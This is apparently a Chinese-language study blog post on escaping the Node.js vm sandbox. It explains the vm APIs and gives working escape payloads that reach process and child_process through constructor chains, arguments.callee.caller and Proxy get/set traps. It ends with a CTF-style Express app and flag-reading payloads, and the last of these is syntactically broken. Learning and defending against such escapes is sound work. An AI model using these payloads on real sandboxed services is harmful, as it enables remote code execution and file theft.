NodeJs vm沙箱逃逸
沙箱基本概念
沙箱是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、局破坏力或无法判断程序意图的程序提供实验使用
nodejs提供了vm模块来创建一个隔离环境运行不受信任的代码。但是vm模块并不被推荐使用,因为存在逃逸的风险
vm板块的使用
- vm.createContext([sandbox]):
在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8引擎为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。
- vm.runInThisContext(code):
在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。
这里需要注意的就是runInThisContext虽然是会创建相关的沙箱环境,可以访问到global上的全局变量,但是访问不到自定义的变量
const vm = require('vm');
sx = {
'name': 'chiling',
'age': 18
}
context = vm.createContext(sx)
const result = vm.runInThisContext(`process.mainModule.require('child_process').exec('calc')`, context);
console.log(result)
- vm.runInContext(code, contextifiedSandbox[, options]):
参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。
runInContext一定需要createContext创建的沙箱来进行配合运行
const vm = require("vm");
const sandbox = {
x:2
};
vm.createContext(sandbox);
const code = 'this.toString.constructor("return process")();';
const res=vm.runInContext(code,sandbox);
console.log(res.mainModule.require('child_process').exec('calc'));
- runInNewContext:
执行的效果相当于createContext和runInContext,相关的参数分别是context和要执行的代码,可以提供context也可以不提供,不提供的话默认生成一个context来进行使用
const vm = require("vm");
const code = 'this.constructor.constructor("return process")();';
const res=vm.runInNewContext(code);
console.log(res.mainModule.require("child_process").exec('calc'));
沙箱逃逸原理
示例分析:
const vm = require("vm");
const code = 'this.constructor.constructor("return process")();';
const res=vm.runInNewContext(code);
console.log(res.mainModule.require("child_process").exec('calc'));
我们以==vm.runInNewContext==沙箱逃逸进行分析如何通过vm板块进行沙箱逃逸的,debug看一下
通过debug,我们可以发现,我们通过this
指向原型链,通过原型链我们可以拿到Function,从而发现我们可以获取到process对象
之后我们进一步步入,因为可以获取到process,因此就可以调用child_process,从而执行RCE
其实我感觉主要是理解constructor
function Foo(){
name : 123
};
const a= new Foo();
console.log(a.constructor);//Foo
console.log(a.constructor.constructor);//Function
我们通过this
是指向的是Context,其实也说明了只要是外部的引用的特性都是可以进行获取来进行逃逸的
示例:
const vm = require("vm");
const sandbox = {
x: []
};
vm.createContext(sandbox);
const res = vm.runInNewContext('x.constructor.constructor("return process")()',sandbox);
console.log(res.mainModule.require('child_process').exec('calc'));
我们这里利用的是沙箱内定义的数组x进行RCE的,而且经过测试由于数字,字符串,布尔这些都是primitive类型,在传参的时候将数值传递过去,而不是引用属性,无法进一步调用constructor
沙箱逃逸绕过Object.create(null)
我们既然知道this
是引用的Context从而实现RCE的,如果我们将原型对象设置为null,这样的话this.constructor
获取不到对象,从而无法进行利用
const vm = require("vm");
const sandbox = Object.create(null);
vm.createContext(sandbox);
const code = "this.constructor.constructor('return process')().env";
console.log(vm.runInContext(code,sandbox));
可以发现报错了,但是我们这里只是因为获取不到任何对象而不是不能利用
可以参考Escaping the vm sandbox · Issue #32 · patriksimek/vm2 (github.com)
利用==arguments.callee.caller==来进行绕过
arguments.callee是arguments对象的一个成员,它的值为"正被执行的Function对象"
function Foo(){
console.log(arguments.callee)
}
Foo();//Foo
arguments.callee.caller调用当前函数的外层函数
function Foo(){
console.log(arguments.callee.caller)
}
Foo();//anonymous
arguments.callee.caller实际上是返回函数的调用者,我们之前沙箱逃逸利用的方法其实就是通过global中对象,并调用其方法,其实看到和arguments.callee.caller还是蛮像的
我们是不是可以想象一下,如果我们在沙箱内定义一个函数,在沙箱外调用这个函数,那么这个函数的arguments.callee.caller则会返回沙箱外的一个对象,那么我们我们就可以在沙箱内进行逃逸了
const vm = require('vm');
const func =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').exec('calc').toString()
}
return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(func, context);
console.log("" + res);
我们创建一个Object.create(null)的sandbox,之后我们定义一个func(),将toString()进行重写,我们发现可以利用arguments.callee.caller
获取沙箱外的对象,之后利用其constructor
从而获取到process
对象,之后再利用字符串拼接调用重写的toString()函数,从而进行RCE
如果我们无法通过字符串的操作来触发toString(),而且无法进行重写一些函数,可以利用Proxy
来劫持属性
let proxy = new Proxy(target, handler)
-
target
—— 是要包装的对象,可以是任何东西,包括函数。 -
handler
—— 代理配置:带有“钩子”(“traps”,即拦截操作的方法)的对象。比如get
钩子用于读取target
属性,set
钩子写入target
属性等等。
这里顺便介绍一下get
钩子和set
钩子,以便于下文理解利用二者进行劫持属性
//get
let numbers = [0, 1, 2];
numbers = new Proxy(numbers, {
get(target, prop) {
if (prop in target) {
return target[prop];
} else {
return 0; // 默认值
}
}
});
alert( numbers[1] ); // 1
alert( numbers[123] ); // 0 (没有这样的元素)
这里我们要求读取number数组的第123个值,但是没有,于是get
钩子拦截到返回值0
//set
let numbers = [];
numbers = new Proxy(numbers, { // (*)
set(target, prop, val) { // 拦截写入操作
if (typeof val == 'number') {
target[prop] = val;
return true;
} else {
return false;
}
}
});
numbers.push(1); // 添加成功
numbers.push(2); // 添加成功
alert("Length is: " + numbers.length); // 2
numbers.push("test"); // TypeError (proxy 的 `set` 操作返回 false)
alert("This line is never reached (error in the line above)");
这里由于我们写入了一个拦截函数只接收数字的数组,我们这里push了一串字符串,于是拦截返回false
利用==get==钩子
const vm = require("vm");
const script =
`new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').exec('calc');
}
})
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)
这里利用get
钩子进行触发沙箱逃逸的原理是,我们在get钩子里写了一个恶意函数,我们在沙箱外部访问proxy对象的任意属性(不论是否存在)这个钩子就会自动运行
利用==set==钩子
const vm = require("vm");
const func =
`new Proxy({}, {
set: function(my,key, value) {
(value.constructor.constructor('return process'))().mainModule.require('child_process').execSync('calc').toString()
}
})`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(func, context);
res['']={};
这里利用set
钩子写了一个恶意函数,因为我们写入的set
钩子没有定义类型,当我们为{}对象添加属性时,会拦截执行我们写入的恶意函数从而实现RCE
实例
const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
const app = express();
const config = {}
app.use(bodyParser.json());
app.post('/:lib/:f', (req, res) => {
let jsonlib = require(req.params.lib);
let valid = jsonlib[req.params.f](req.body);
let p;
if(config.p){
p = config.p;
}
let data = fs.readFileSync(p).toString();
res.send({
"validator":valid,
"data": data,
"msg": "data is corrupted"
})
});
const PORT = 3000;
app.listen(PORT,()=>{
console.log(`Server is running on port ${PORT}`);
})
简单审计一下代码可以发现有2种打法
- 有fs.readFileSync(p).toString(),直接读flag
require('../../../../flag')
- 利用vm沙箱逃逸读文件
require('vm').vm.runInNewContext(['this.constructor.constructor('return process')().mainModule.require('fs').readFileSync('./flag').toString()'])
后记
vm2有点看不懂了,好复杂,学不太懂,以后有机会再看
参考
Escaping the vm sandbox · Issue #32 · patriksimek/vm2 (github.com)